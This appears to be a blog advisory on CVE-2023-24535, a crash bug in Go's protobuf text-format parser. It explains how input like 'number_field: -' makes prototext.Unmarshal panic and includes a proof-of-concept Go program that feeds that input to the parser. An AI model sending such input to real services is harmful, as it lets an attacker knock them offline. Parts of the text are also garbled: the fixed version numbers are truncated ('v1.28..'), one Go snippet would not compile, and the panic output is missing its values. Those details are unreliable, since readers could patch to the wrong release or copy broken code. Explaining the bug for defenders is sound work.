CVE-2023-24535 - How Malformed Messages in Protocol Buffers Can Crash Your Service

CVE-2023-24535 is a subtle, but dangerous vulnerability in Protocol Buffers (protobuf), a popular tool for serializing and deserializing structured data. If you're using protobuf (especially the Go implementation, google.golang.org/protobuf), you might be at risk of remote denial-of-service just by parsing malformed messages.

In this article, we'll break down what CVE-2023-24535 is, who is affected, how it can be exploited, and how to fix it. We'll also include code snippets so you can test and protect your applications.

What Is CVE-2023-24535?

When parsing Protocol Buffers in the text format (not the usual compact binary), if a message contains a "number" field value that starts with a minus sign, followed by whitespace, and then abruptly ends (no number), the parser panics.

This is an example of how simple malformed input can crash your process

number_field: -

*(with a space after the dash and no number)*

If your service accepts or processes protobuf text format from external input, an attacker can supply such input and cause a panic, taking down your process — that’s a denial-of-service (DoS) attack.

How Does the Exploit Work?

Here's a simplified illustration. The vulnerable code path is when you call the UnmarshalText (or similar) function from your protobuf Go library and it receives such malformed input.

Suppose you have a standard protobuf message

// simple.proto
syntax = "proto3";

message Request {
  int32 number_field = 1;
}

You compile it using protoc, then write Go code that parses a textproto message

package main

import (
    "fmt"
    "google.golang.org/protobuf/encoding/prototext"
    "yourmodule/simplepb"
)

func main() {
    input := number_field: - 
    var req simplepb.Request

    err := prototext.Unmarshal([]byte(input), &req)
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("Value:", req.NumberField)
    }
}

If you run this, the Go program crashes (panics).

The panic message looks like this

panic: runtime error: index out of range [] with length 
...

Why Is This Dangerous?

- Denial of Service: Any remote user who can submit or control textproto requests can crash your service instantly.
- Cloud Functions Impact: Many microservices or cloud functions might parse text-format protos for debugging or input; they can be targeted by malformed messages.

Proof-of-Concept Exploit

If you want to see the exploit in action, use this minimal Go program. Install the vulnerable version of google.golang.org/protobuf first.

package main

import (
    "fmt"
    "google.golang.org/protobuf/encoding/prototext"
    "yourmodule/simplepb"
)

func main() {
    // This input triggers the panic
    input := "number_field: -  "
    var req simplepb.Request
    _ = prototext.Unmarshal([]byte(input), &req)
    fmt.Println("Parsed successfully") // This line never runs
}

Who’s Affected?

- Anyone using Go's protobuf prototext.Unmarshal() (or similar) APIs before version v1.28..
- Your service is not at risk if you only parse binary protobuf data, or never parse textproto from untrusted sources.

Upgrade package

- Update your Go dependencies to use the fixed version of google.golang.org/protobuf (v1.28. or later).

Validate Input

- If you must accept text-format protos, sanitize/validate incoming text before parsing.

In your go.mod

go get google.golang.org/protobuf@v1.28.

References

- Official CVE-2023-24535 in NIST NVD
- Upstream fix in github.com/protocolbuffers/protobuf
- Release notes mentioning the fix

Conclusion

Parsing external textproto messages is usually safe. But with CVE-2023-24535, a well-timed string like number_field: - can panic your Go service.  
Always keep your third-party libraries up to date and be careful with input from outside your trust boundary.  
If you enjoyed this breakdown, consider checking your other dependencies for similar parser bugs!


*Exclusive analysis written for you. If you spot vulnerable parsing code in your stack, now's the time to fix it! 🚀*

Timeline

Published on: 06/08/2023 21:15:00 UTC
Last modified on: 06/15/2023 19:01:00 UTC